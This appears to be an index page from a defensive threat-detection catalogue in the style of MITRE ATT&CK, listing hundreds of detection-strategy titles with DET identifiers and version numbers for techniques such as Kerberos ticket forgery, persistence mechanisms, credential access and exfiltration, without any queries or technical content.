Current version: 1.0


[DET0504] Detect Abuse of Dynamic Data Exchange (T1559.002)

Current version: 1.0


[DET0493] Detect Abuse of Inter-Process Communication (T1559)

Current version: 1.0


[DET0122] Detect Abuse of Windows Time Providers for Persistence

Current version: 1.0


[DET0335] Detect Abuse of XPC Services (T1559.003)

Current version: 1.0


[DET0535] Detect Abuse of vSphere Installation Bundles (VIBs) for Persistent Access

Current version: 1.0


[DET0381] Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL

Current version: 1.0


[DET0385] Detect Access and Parsing of .bash_history Files for Credential Harvesting

Current version: 1.0


[DET0412] Detect Access or Search for Unsecured Credentials Across Platforms

Current version: 1.0


[DET0001] Detect Access to Cloud Instance Metadata API (IaaS)

Current version: 1.0


[DET0307] Detect Access to Unsecured Credential Files Across Platforms

Current version: 1.0


[DET0396] Detect Access to macOS Keychain for Credential Theft

Current version: 1.0


[DET0312] Detect Active Setup Persistence via StubPath Execution

Current version: 1.0


[DET0275] Detect Adversary Deobfuscation or Decoding of Files and Payloads

Current version: 1.0


[DET0296] Detect Adversary-in-the-Middle via Network and Configuration Anomalies

Current version: 1.0


[DET0526] Detect Archiving and Encryption of Collected Data (T1560)

Current version: 1.0


[DET0438] Detect Archiving via Custom Method (T1560.003)

Current version: 1.0


[DET0268] Detect Archiving via Library (T1560.002)

Current version: 1.0


[DET0298] Detect Archiving via Utility (T1560.001)

Current version: 1.0


[DET0035] Detect Bidirectional Web Service C2 Channels via Process & Network Correlation

Current version: 1.0


[DET0523] Detect Code Signing Policy Modification (Windows & macOS)

Current version: 1.0


[DET0336] Detect Compromise of Host Software Binaries

Current version: 1.0


[DET0030] Detect Conditional Access Policy Modification in Identity and Cloud Platforms

Current version: 1.0


[DET0250] Detect Credential Discovery via Windows Registry Enumeration

Current version: 1.0


[DET0430] Detect Credentials Access from Password Stores

Current version: 1.0


[DET0468] Detect DHCP Spoofing Across Linux, Windows, and macOS

Current version: 1.0


[DET0061] Detect Default File Association Hijack via Registry & Execution Correlation on Windows

Current version: 1.0


[DET0271] Detect Domain Controller Authentication Process Modification (Skeleton Key)

Current version: 1.0


[DET0379] Detect Evil Twin Wi-Fi Access Points on Network Devices

Current version: 1.0


[DET0028] Detect Excessive or Unauthorized Bandwidth Usage for Botnet, Proxyjacking, or Scanning Purposes

Current version: 1.0


[DET0022] Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM

Current version: 1.0


[DET0144] Detect Forged Kerberos Golden Tickets (T1558.001)

Current version: 1.0


[DET0241] Detect Forged Kerberos Silver Tickets (T1558.002)

Current version: 1.0


[DET0288] Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation

Current version: 1.0


[DET0293] Detect Hybrid Identity Authentication Process Modification

Current version: 1.0


[DET0060] Detect Ingress Tool Transfers via Behavioral Chain

Current version: 1.0


[DET0157] Detect Kerberoasting Attempts (T1558.003)

Current version: 1.0


[DET0024] Detect Kerberos Ccache File Theft or Abuse (T1558.005)

Current version: 1.0


[DET0522] Detect Kerberos Ticket Theft or Forgery (T1558)

Current version: 1.0


[DET0462] Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows

Current version: 1.0


[DET0207] Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load

Current version: 1.0


[DET0047] Detect Local Email Collection via Outlook Data File Access and Command Line Tooling

Current version: 1.0


[DET0072] Detect Logon Script Modifications and Execution

Current version: 1.0


[DET0190] Detect MFA Modification or Disabling Across Platforms

Current version: 1.0


[DET0454] Detect Malicious Modification of Pluggable Authentication Modules (PAM)

Current version: 1.0


[DET0472] Detect Malicious Password Filter DLL Registration

Current version: 1.0


[DET0257] Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files

Current version: 1.0


[DET0589] Detect Modification of Authentication Process via Reversible Encryption

Current version: 1.0


[DET0104] Detect Modification of Authentication Processes Across Platforms

Current version: 1.0


[DET0272] Detect Modification of Network Device Authentication via Patched System Images

Current version: 1.0


[DET0429] Detect Modification of macOS Startup Items

Current version: 1.0


[DET0228] Detect Multi-Stage Command and Control Channels

Current version: 1.0


[DET0367] Detect Network Logon Script Abuse via Multi-Event Correlation on Windows

Current version: 1.0


[DET0580] Detect Network Provider DLL Registration and Credential Capture

Current version: 1.0


[DET0053] Detect Obfuscated C2 via Network Traffic Analysis

Current version: 1.0


[DET0398] Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks

Current version: 1.0


[DET0581] Detect One-Way Web Service Command Channels

Current version: 1.0


[DET0050] Detect Persistence via Malicious Office Add-ins

Current version: 1.0


[DET0095] Detect Persistence via Malicious Outlook Rules

Current version: 1.0


[DET0519] Detect Persistence via Office Template Macro Injection or Registry Hijack

Current version: 1.0


[DET0315] Detect Persistence via Office Test Registry DLL Injection

Current version: 1.0


[DET0029] Detect Persistence via Outlook Custom Forms Triggered by Malicious Email

Current version: 1.0


[DET0177] Detect Persistence via Outlook Home Page Exploitation

Current version: 1.0


[DET0365] Detect Registry and Startup Folder Persistence (Windows)

Current version: 1.0


[DET0159] Detect Remote Access via USB Hardware (TinyPilot, PiKVM)

Current version: 1.0


[DET0048] Detect Remote Email Collection via Abnormal Login and Programmatic Access

Current version: 1.0


[DET0346] Detect Screen Capture via Commands and API Calls

Current version: 1.0


[DET0154] Detect Screensaver-Based Persistence via Registry and Execution Chains

Current version: 1.0


[DET0020] Detect Shell Configuration Modification for Persistence via Event-Triggered Execution

Current version: 1.0


[DET0452] Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation

Current version: 1.0


[DET0037] Detect Suspicious Access to Browser Credential Stores

Current version: 1.0


[DET0549] Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms

Current version: 1.0


[DET0134] Detect Suspicious Access to Windows Credential Manager

Current version: 1.0


[DET0057] Detect Suspicious Access to securityd Memory for Credential Extraction

Current version: 1.0


[DET0230] Detect Suspicious or Malicious Code Signing Abuse

Current version: 1.0


[DET0141] Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution

Current version: 1.0


[DET0130] Detect Unauthorized Access to Cloud Secrets Management Stores

Current version: 1.0


[DET0597] Detect Unauthorized Access to Password Managers

Current version: 1.0


[DET0111] Detect Unsecured Credentials Shared in Chat Messages

Current version: 1.0


[DET0074] Detect Use of Stolen Web Session Cookies Across Platforms

Current version: 1.0


[DET0420] Detect User Activity Based Sandbox Evasion via Input & Artifact Probing

Current version: 1.0


[DET0086] Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation

Current version: 1.0


[DET0404] Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows

Current version: 1.0


[DET0205] Detect XSL Script Abuse via msxsl and wmic

Current version: 1.0


[DET0488] Detect abuse of Trusted Relationships (third-party and delegated admin access)

Current version: 1.0


[DET0098] Detect abuse of Windows BITS Jobs for download, execution and persistence

Current version: 1.0


[DET0507] Detect browser session hijacking via privilege, handle access, and remote thread into browsers

Current version: 1.0


[DET0187] Detect disabled Windows event logging

Current version: 1.0


[DET0561] Detect malicious IDE extension install/usage and IDE tunneling

Current version: 1.0


[DET0125] Detect persistence via reopened application plist modification (macOS)

Current version: 1.0


[DET0473] Detect persistent or elevated container services via container runtime or cluster manipulation

Current version: 1.0


[DET0225] Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)

Current version: 1.0


[DET0069] Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)

Current version: 1.0


[DET0361] Detecting .NET COM Registration Abuse via Regsvcs/Regasm

Current version: 1.0


[DET0500] Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users

Current version: 1.0


[DET0263] Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms

Current version: 1.0


[DET0433] Detecting Code Injection via mavinject.exe (App-V Injector)

Current version: 1.0


[DET0350] Detecting Downgrade Attacks

Current version: 1.0


[DET0025] Detecting Electron Application Abuse for Proxy Execution

Current version: 1.0


[DET0011] Detecting Junk Data in C2 Channels via Behavioral Analysis

Current version: 1.0


[DET0222] Detecting MMC (.msc) Proxy Execution and Malicious COM Activation

Current version: 1.0


[DET0044] Detecting Malicious Browser Extensions Across Platforms

Current version: 1.0


[DET0506] Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation

Current version: 1.0


[DET0593] Detecting OS Credential Dumping via /proc Filesystem Access on Linux

Current version: 1.0


[DET0486] Detecting Odbcconf Proxy Execution of Malicious DLLs

Current version: 1.0


[DET0440] Detecting PowerShell Execution via SyncAppvPublishingServer.vbs Proxy Abuse

Current version: 1.0


[DET0470] Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation

Current version: 1.0


[DET0528] Detecting Remote Script Proxy Execution via PubPrn.vbs

Current version: 1.0


[DET0235] Detecting Steganographic Command and Control via File + Network Correlation

Current version: 1.0


[DET0550] Detecting Suspicious Access to CRM Data in SaaS Environments

Current version: 1.0


[DET0567] Detecting Unauthorized Collection from Messaging Applications in SaaS and Office Environments

Current version: 1.0


[DET0541] Detection Strategy for /proc Memory Injection on Linux

Current version: 1.0


[DET0345] Detection Strategy for Abuse Elevation Control Mechanism (T1548)

Current version: 1.0


[DET0033] Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification

Current version: 1.0


[DET0373] Detection Strategy for Addition of Email Delegate Permissions

Current version: 1.0


[DET0531] Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS

Current version: 1.0


[DET0362] Detection Strategy for AppCert DLLs Persistence via Registry Injection

Current version: 1.0


[DET0017] Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)

Current version: 1.0


[DET0332] Detection Strategy for AutoHotKey & AutoIT Abuse

Current version: 1.0


[DET0428] Detection Strategy for Bind Mounts on Linux

Current version: 1.0


[DET0237] Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts

Current version: 1.0


[DET0459] Detection Strategy for Build Image on Host

Current version: 1.0


[DET0545] Detection Strategy for Cloud Administration Command

Current version: 1.0


[DET0539] Detection Strategy for Cloud Application Integration

Current version: 1.0


[DET0169] Detection Strategy for Cloud Infrastructure Discovery

Current version: 1.0


[DET0402] Detection Strategy for Cloud Service Discovery

Current version: 1.0


[DET0147] Detection Strategy for Cloud Service Hijacking via SaaS Abuse

Current version: 1.0


[DET0578] Detection Strategy for Cloud Storage Object Discovery

Current version: 1.0


[DET0505] Detection Strategy for Command Obfuscation

Current version: 1.0


[DET0501] Detection Strategy for Compile After Delivery - Source Code to Executable Transformation

Current version: 1.0


[DET0281] Detection Strategy for Compressed Payload Creation and Execution

Current version: 1.0


[DET0065] Detection Strategy for Container Administration Command Abuse

Current version: 1.0


[DET0490] Detection Strategy for Container and Resource Discovery

Current version: 1.0


[DET0349] Detection Strategy for Content Injection

Current version: 1.0


[DET0108] Detection Strategy for Data Encoding in C2 Channels

Current version: 1.0


[DET0059] Detection Strategy for Data Manipulation

Current version: 1.0


[DET0213] Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration

Current version: 1.0


[DET0592] Detection Strategy for Data from Configuration Repository on Network Devices

Current version: 1.0


[DET0410] Detection Strategy for Data from Network Shared Drive

Current version: 1.0


[DET0371] Detection Strategy for Debugger Evasion (T1622)

Current version: 1.0


[DET0579] Detection Strategy for Device Driver Discovery

Current version: 1.0


[DET0424] Detection Strategy for Disable or Modify Cloud Firewall

Current version: 1.0


[DET0289] Detection Strategy for Disable or Modify Cloud Logs

Current version: 1.0


[DET0062] Detection Strategy for Disable or Modify Linux Audit System

Current version: 1.0


[DET0316] Detection Strategy for Disk Content Wipe via Direct Access and Overwrite

Current version: 1.0


[DET0297] Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite

Current version: 1.0


[DET0137] Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands

Current version: 1.0


[DET0366] Detection Strategy for Double File Extension Masquerading

Current version: 1.0


[DET0569] Detection Strategy for Downgrade System Image on Network Devices

Current version: 1.0


[DET0091] Detection Strategy for Dynamic API Resolution via Hash-Based Function Lookups

Current version: 1.0


[DET0039] Detection Strategy for Dynamic Resolution across OS Platforms

Current version: 1.0


[DET0262] Detection Strategy for Dynamic Resolution through DNS Calculation

Current version: 1.0


[DET0419] Detection Strategy for Dynamic Resolution using Domain Generation Algorithms.

Current version: 1.0


[DET0485] Detection Strategy for Dynamic Resolution using Fast Flux DNS

Current version: 1.0


[DET0232] Detection Strategy for ESXi Administration Command

Current version: 1.0


[DET0558] Detection Strategy for ESXi Hypervisor CLI Abuse

Current version: 1.0


[DET0355] Detection Strategy for Email Bombing

Current version: 1.0


[DET0192] Detection Strategy for Email Hiding Rules

Current version: 1.0


[DET0431] Detection Strategy for Email Spoofing

Current version: 1.0


[DET0214] Detection Strategy for Embedded Payloads

Current version: 1.0


[DET0273] Detection Strategy for Encrypted Channel across OS Platforms

Current version: 1.0


[DET0543] Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms

Current version: 1.0


[DET0143] Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms

Current version: 1.0


[DET0304] Detection Strategy for Endpoint DoS via Application or System Exploitation

Current version: 1.0


[DET0173] Detection Strategy for Endpoint DoS via Service Exhaustion Flood

Current version: 1.0


[DET0219] Detection Strategy for Escape to Host

Current version: 1.0


[DET0369] Detection Strategy for Event Triggered Execution via Trap (T1546.005)

Current version: 1.0


[DET0555] Detection Strategy for Event Triggered Execution via emond on macOS

Current version: 1.0


[DET0557] Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)

Current version: 1.0


[DET0015] Detection Strategy for Exclusive Control

Current version: 1.0


[DET0348] Detection Strategy for Exfiltration Over C2 Channel

Current version: 1.0


[DET0548] Detection Strategy for Exfiltration Over Web Service

Current version: 1.0


[DET0153] Detection Strategy for Exfiltration Over Webhook

Current version: 1.0


[DET0570] Detection Strategy for Exfiltration to Cloud Storage

Current version: 1.0


[DET0318] Detection Strategy for Exfiltration to Code Repository

Current version: 1.0


[DET0284] Detection Strategy for Exfiltration to Text Storage Sites

Current version: 1.0


[DET0174] Detection Strategy for Exploitation for Credential Access

Current version: 1.0


[DET0595] Detection Strategy for Exploitation for Defense Evasion

Current version: 1.0


[DET0514] Detection Strategy for Exploitation for Privilege Escalation

Current version: 1.0


[DET0406] Detection Strategy for Extended Attributes Abuse

Current version: 1.0


[DET0217] Detection Strategy for Extra Window Memory (EWM) Injection on Windows

Current version: 1.0


[DET0150] Detection Strategy for File Creation or Modification of Boot Files

Current version: 1.0


[DET0051] Detection Strategy for File/Path Exclusions

Current version: 1.0


[DET0344] Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory

Current version: 1.0


[DET0495] Detection Strategy for Financial Theft

Current version: 1.0


[DET0148] Detection Strategy for Forged SAML Tokens

Current version: 1.0


[DET0171] Detection Strategy for Forged Web Cookies

Current version: 1.0


[DET0260] Detection Strategy for Forged Web Credentials

Current version: 1.0


[DET0313] Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop

Current version: 1.0


[DET0502] Detection Strategy for Hidden Artifacts Across Platforms

Current version: 1.0


[DET0461] Detection Strategy for Hidden File System Abuse

Current version: 1.0


[DET0032] Detection Strategy for Hidden Files and Directories

Current version: 1.0


[DET0353] Detection Strategy for Hidden User Accounts

Current version: 1.0


[DET0321] Detection Strategy for Hidden Virtual Instance Execution

Current version: 1.0


[DET0128] Detection Strategy for Hidden Windows

Current version: 1.0


[DET0411] Detection Strategy for Hide Infrastructure

Current version: 1.0


[DET0218] Detection Strategy for Hijack Execution Flow across OS platforms.

Current version: 1.0


[DET0201] Detection Strategy for Hijack Execution Flow for DLLs

Current version: 1.0


[DET0064] Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path

Current version: 1.0


[DET0427] Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness.

Current version: 1.0


[DET0436] Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness.

Current version: 1.0


[DET0517] Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows.

Current version: 1.0


[DET0577] Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows.

Current version: 1.0


[DET0038] Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness

Current version: 1.0


[DET0004] Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable.

Current version: 1.0


[DET0564] Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking

Current version: 1.0


[DET0479] Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER.

Current version: 1.0


[DET0152] Detection Strategy for Hijack Execution Flow: Dylib Hijacking

Current version: 1.0


[DET0435] Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking

Current version: 1.0


[DET0422] Detection Strategy for IFEO Injection on Windows

Current version: 1.0


[DET0067] Detection Strategy for Ignore Process Interrupts

Current version: 1.0


[DET0317] Detection Strategy for Impair Defenses Across Platforms

Current version: 1.0


[DET0239] Detection Strategy for Impair Defenses Indicator Blocking

Current version: 1.0


[DET0563] Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms.

Current version: 1.0


[DET0286] Detection Strategy for Impersonation

Current version: 1.0


[DET0189] Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification

Current version: 1.0


[DET0568] Detection Strategy for Input Injection

Current version: 1.0


[DET0322] Detection Strategy for Junk Code Obfuscation with Suspicious Execution Patterns

Current version: 1.0


[DET0450] Detection Strategy for Kernel Modules and Extensions Autostart Execution

Current version: 1.0


[DET0216] Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS

Current version: 1.0


[DET0405] Detection Strategy for LNK Icon Smuggling

Current version: 1.0


[DET0183] Detection Strategy for Lateral Tool Transfer across OS platforms

Current version: 1.0


[DET0401] Detection Strategy for Launch Daemon Creation or Modification (macOS)

Current version: 1.0


[DET0331] Detection Strategy for ListPlanting Injection on Windows

Current version: 1.0


[DET0255] Detection Strategy for Log Enumeration

Current version: 1.0


[DET0244] Detection Strategy for Login Hook Persistence on macOS

Current version: 1.0


[DET0101] Detection Strategy for Lua Scripting Abuse

Current version: 1.0


[DET0246] Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying

Current version: 1.0


[DET0383] Detection Strategy for Masquerading via Account Name Similarity

Current version: 1.0


[DET0443] Detection Strategy for Masquerading via Breaking Process Trees

Current version: 1.0


[DET0226] Detection Strategy for Masquerading via File Type Modification

Current version: 1.0


[DET0347] Detection Strategy for Masquerading via Legitimate Resource Name or Location

Current version: 1.0


[DET0308] Detection Strategy for Modify Cloud Compute Infrastructure

Current version: 1.0


[DET0449] Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance

Current version: 1.0


[DET0423] Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot

Current version: 1.0


[DET0084] Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance

Current version: 1.0


[DET0492] Detection Strategy for Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations

Current version: 1.0


[DET0337] Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance

Current version: 1.0


[DET0155] Detection Strategy for Modify Cloud Resource Hierarchy

Current version: 1.0


[DET0170] Detection Strategy for Modify System Image on Network Devices

Current version: 1.0


[DET0160] Detection Strategy for Multi-Factor Authentication Request Generation (T1621)

Current version: 1.0


[DET0432] Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)

Current version: 1.0


[DET0575] Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)

Current version: 1.0


[DET0163] Detection Strategy for Network Address Translation Traversal

Current version: 1.0


[DET0006] Detection Strategy for Network Boundary Bridging

Current version: 1.0


[DET0233] Detection Strategy for Network Device Configuration Dump via Config Repositories

Current version: 1.0


[DET0314] Detection Strategy for Network Sniffing Across Platforms

Current version: 1.0


[DET0227] Detection Strategy for Non-Standard Ports

Current version: 1.0


[DET0553] Detection Strategy for Obfuscated Files or Information: Binary Padding

Current version: 1.0


[DET0164] Detection Strategy for Overwritten Process Arguments Masquerading

Current version: 1.0


[DET0469] Detection Strategy for Patch System Image on Network Devices

Current version: 1.0


[DET0070] Detection Strategy for Phishing across platforms.

Current version: 1.0


[DET0109] Detection Strategy for Plist File Modification (T1647)

Current version: 1.0


[DET0533] Detection Strategy for Poisoned Pipeline Execution via SaaS CI/CD Workflows

Current version: 1.0


[DET0324] Detection Strategy for Polymorphic Code Mutation and Execution

Current version: 1.0


[DET0417] Detection Strategy for Power Settings Abuse

Current version: 1.0


[DET0451] Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification

Current version: 1.0


[DET0045] Detection Strategy for Process Argument Spoofing on Windows

Current version: 1.0


[DET0544] Detection Strategy for Process Doppelgänging on Windows

Current version: 1.0


[DET0382] Detection Strategy for Process Hollowing on Windows

Current version: 1.0


[DET0538] Detection Strategy for Protocol Tunneling accross OS platforms.

Current version: 1.0


[DET0203] Detection Strategy for Ptrace-Based Process Injection on Linux

Current version: 1.0


[DET0408] Detection Strategy for Reflection Amplification DoS (T1498.002)

Current version: 1.0


[DET0300] Detection Strategy for Reflective Code Loading

Current version: 1.0


[DET0574] Detection Strategy for Remote System Enumeration Behavior

Current version: 1.0


[DET0584] Detection Strategy for Resource Forking on macOS

Current version: 1.0


[DET0156] Detection Strategy for Resource Hijacking: SMS Pumping via SaaS Application Logs

Current version: 1.0


[DET0276] Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse

Current version: 1.0


[DET0277] Detection Strategy for Role Addition to Cloud Accounts

Current version: 1.0


[DET0391] Detection Strategy for Runtime Data Manipulation.

Current version: 1.0


[DET0453] Detection Strategy for SNMP (MIB Dump) on Network Devices

Current version: 1.0


[DET0181] Detection Strategy for SQL Stored Procedures Abuse via T1505.001

Current version: 1.0


[DET0126] Detection Strategy for SSH Key Injection in Authorized Keys

Current version: 1.0


[DET0256] Detection Strategy for SSH Session Hijacking

Current version: 1.0


[DET0510] Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior

Current version: 1.0


[DET0116] Detection Strategy for Safe Mode Boot Abuse

Current version: 1.0


[DET0399] Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns

Current version: 1.0


[DET0374] Detection Strategy for Serverless Execution (T1648)

Current version: 1.0


[DET0236] Detection Strategy for Spearphishing Attachment across OS Platforms

Current version: 1.0


[DET0107] Detection Strategy for Spearphishing Links

Current version: 1.0


[DET0245] Detection Strategy for Spearphishing Voice across OS platforms

Current version: 1.0


[DET0115] Detection Strategy for Spearphishing via a Service across OS Platforms

Current version: 1.0


[DET0240] Detection Strategy for Steal or Forge Authentication Certificates

Current version: 1.0


[DET0119] Detection Strategy for Steganographic Abuse in File & Script Execution

Current version: 1.0


[DET0193] Detection Strategy for Stored Data Manipulation across OS Platforms.

Current version: 1.0


[DET0019] Detection Strategy for Stripped Payloads Across Platforms

Current version: 1.0


[DET0442] Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking.

Current version: 1.0


[DET0056] Detection Strategy for Subvert Trust Controls via Install Root Certificate.

Current version: 1.0


[DET0282] Detection Strategy for System Binary Proxy Execution: Regsvr32

Current version: 1.0


[DET0565] Detection Strategy for System Language Discovery

Current version: 1.0


[DET0043] Detection Strategy for System Location Discovery

Current version: 1.0


[DET0421] Detection Strategy for System Services Service Execution

Current version: 1.0


[DET0279] Detection Strategy for System Services across OS platforms.

Current version: 1.0


[DET0265] Detection Strategy for System Services: Launchctl

Current version: 1.0


[DET0073] Detection Strategy for System Services: Systemctl

Current version: 1.0


[DET0583] Detection Strategy for T1136 - Create Account across platforms

Current version: 1.0


[DET0319] Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office

Current version: 1.0


[DET0475] Detection Strategy for T1218.011 Rundll32 Abuse

Current version: 1.0


[DET0042] Detection Strategy for T1218.012 Verclsid Abuse

Current version: 1.0


[DET0046] Detection Strategy for T1497 Virtualization/Sandbox Evasion

Current version: 1.0


[DET0547] Detection Strategy for T1505 - Server Software Component

Current version: 1.0


[DET0166] Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)

Current version: 1.0


[DET0068] Detection Strategy for T1505.004 - Malicious IIS Components

Current version: 1.0


[DET0212] Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows)

Current version: 1.0


[DET0334] Detection Strategy for T1525 – Implant Internal Image

Current version: 1.0


[DET0515] Detection Strategy for T1528 - Steal Application Access Token

Current version: 1.0


[DET0278] Detection Strategy for T1542 Pre-OS Boot

Current version: 1.0


[DET0099] Detection Strategy for T1542.001 Pre-OS Boot: System Firmware

Current version: 1.0


[DET0323] Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware

Current version: 1.0


[DET0175] Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit

Current version: 1.0


[DET0582] Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot

Current version: 1.0


[DET0330] Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages

Current version: 1.0


[DET0375] Detection Strategy for T1546.017 - Udev Rules (Linux)

Current version: 1.0


[DET0180] Detection Strategy for T1547.009 – Shortcut Modification (Windows)

Current version: 1.0


[DET0204] Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows)

Current version: 1.0


[DET0121] Detection Strategy for T1547.015 – Login Items on macOS

Current version: 1.0


[DET0388] Detection Strategy for T1548.002 – Bypass User Account Control (UAC)

Current version: 1.0


[DET0409] Detection Strategy for T1550.002 - Pass the Hash (Windows)

Current version: 1.0


[DET0352] Detection Strategy for T1550.003 - Pass the Ticket (Windows)

Current version: 1.0


[DET0467] Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing

Current version: 1.0


[DET0393] Detection Strategy for Temporary Elevated Cloud Access Abuse (T1548.005)

Current version: 1.0


[DET0403] Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices

Current version: 1.0


[DET0012] Detection Strategy for VBA Stomping

Current version: 1.0


[DET0448] Detection Strategy for VDSO Hijacking on Linux

Current version: 1.0


[DET0199] Detection Strategy for Virtual Machine Discovery

Current version: 1.0


[DET0339] Detection Strategy for Weaken Encryption on Network Devices

Current version: 1.0


[DET0494] Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices

Current version: 1.0


[DET0243] Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices

Current version: 1.0


[DET0058] Detection Strategy for Web Service: Dead Drop Resolver

Current version: 1.0


[DET0536] Detection Strategy for Wi-Fi Networks

Current version: 1.0


[DET0254] Detection Strategy of Transmitted Data Manipulation

Current version: 1.0


[DET0588] Detection fo Remote Service Session Hijacking for RDP.

Current version: 1.0


[DET0311] Detection for Spoofing Security Alerting across OS Platforms

Current version: 1.0


[DET0546] Detection of Abused or Compromised Cloud Accounts for Access and Persistence

Current version: 1.0


[DET0884] Detection of Acquire Access

Current version: 1.0


[DET0895] Detection of Acquire Infrastructure

Current version: 1.0


[DET0830] Detection of Active Scanning

Current version: 1.0


[DET0034] Detection of Adversarial Process Discovery Behavior

Current version: 1.0


[DET0223] Detection of Adversary Abuse of Software Deployment Tools

Current version: 1.0


[DET0247] Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)

Current version: 1.0


[DET0414] Detection of AppleScript-Based Execution on macOS

Current version: 1.0


[DET0097] Detection of Application Window Enumeration via API or Scripting

Current version: 1.0


[DET0842] Detection of Artificial Intelligence

Current version: 1.0


[DET0554] Detection of Bluetooth-Based Data Exfiltration

Current version: 1.0


[DET0883] Detection of Botnet

Current version: 1.0


[DET0837] Detection of Botnet

Current version: 1.0


[DET0855] Detection of Business Relationships

Current version: 1.0


[DET0809] Detection of CDNs

Current version: 1.0


[DET0513] Detection of Cached Domain Credential Dumping via Local Hash Cache Access

Current version: 1.0


[DET0820] Detection of Client Configurations

Current version: 1.0


[DET0846] Detection of Cloud Accounts

Current version: 1.0


[DET0879] Detection of Cloud Accounts

Current version: 1.0


[DET0291] Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access

Current version: 1.0


[DET0805] Detection of Code Repositories

Current version: 1.0


[DET0875] Detection of Code Signing Certificates

Current version: 1.0


[DET0833] Detection of Code Signing Certificates

Current version: 1.0


[DET0444] Detection of Command and Control Over Application Layer Protocols

Current version: 1.0


[DET0876] Detection of Compromise Accounts

Current version: 1.0


[DET0885] Detection of Compromise Infrastructure

Current version: 1.0


[DET0363] Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence

Current version: 1.0


[DET0139] Detection of Credential Harvesting via API Hooking

Current version: 1.0


[DET0480] Detection of Credential Harvesting via Web Portal Modification

Current version: 1.0


[DET0813] Detection of Credentials

Current version: 1.0


[DET0843] Detection of DNS

Current version: 1.0


[DET0891] Detection of DNS Server

Current version: 1.0


[DET0862] Detection of DNS Server

Current version: 1.0


[DET0877] Detection of DNS/Passive DNS

Current version: 1.0


[DET0511] Detection of Data Access and Collection from Removable Media

Current version: 1.0


[DET0146] Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns

Current version: 1.0


[DET0123] Detection of Data Exfiltration via Removable Media

Current version: 1.0


[DET0014] Detection of Data Staging Prior to Exfiltration

Current version: 1.0


[DET0465] Detection of Default Account Abuse Across Platforms

Current version: 1.0


[DET0806] Detection of Determine Physical Locations

Current version: 1.0


[DET0853] Detection of Develop Capabilities

Current version: 1.0


[DET0844] Detection of Digital Certificates

Current version: 1.0


[DET0831] Detection of Digital Certificates

Current version: 1.0


[DET0848] Detection of Digital Certificates

Current version: 1.0


[DET0211] Detection of Direct VM Console Access via Cloud-Native Methods

Current version: 1.0


[DET0426] Detection of Direct Volume Access for File System Evasion

Current version: 1.0


